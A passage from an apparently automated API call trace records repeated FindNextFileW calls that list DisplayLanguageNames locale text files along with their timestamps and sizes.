ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.da.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.da_DK.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.de_CH.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7328, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.de_DE.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7326, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.de_DE_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e92, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.el.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e92, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.el_GR.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e76, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.el_GR_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_CA.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_GB.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_GB_EURO.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_US.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_US_POSIX.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es.txt", cAlternateFileName="")) returned 1 [0084.163] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_AR.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_BO.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_CL.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_CO.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_CR.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_DO.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_EC.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_ES.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_ES_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_GT.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_HN.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_MX.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ecc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_NI.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PA.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PE.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PR.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PY.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_SV.txt", cAlternateFileName="")) returned 1 [0084.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_US.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_UY.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_VE.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es__TRADITIONAL.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.et.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.et_EE.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fi.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fi_FI.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fi_FI_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fr_CA.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fr_FR.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f44, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fr_FR_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f341800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x67c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.he.txt", cAlternateFileName="")) returned 1 [0084.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f341800, 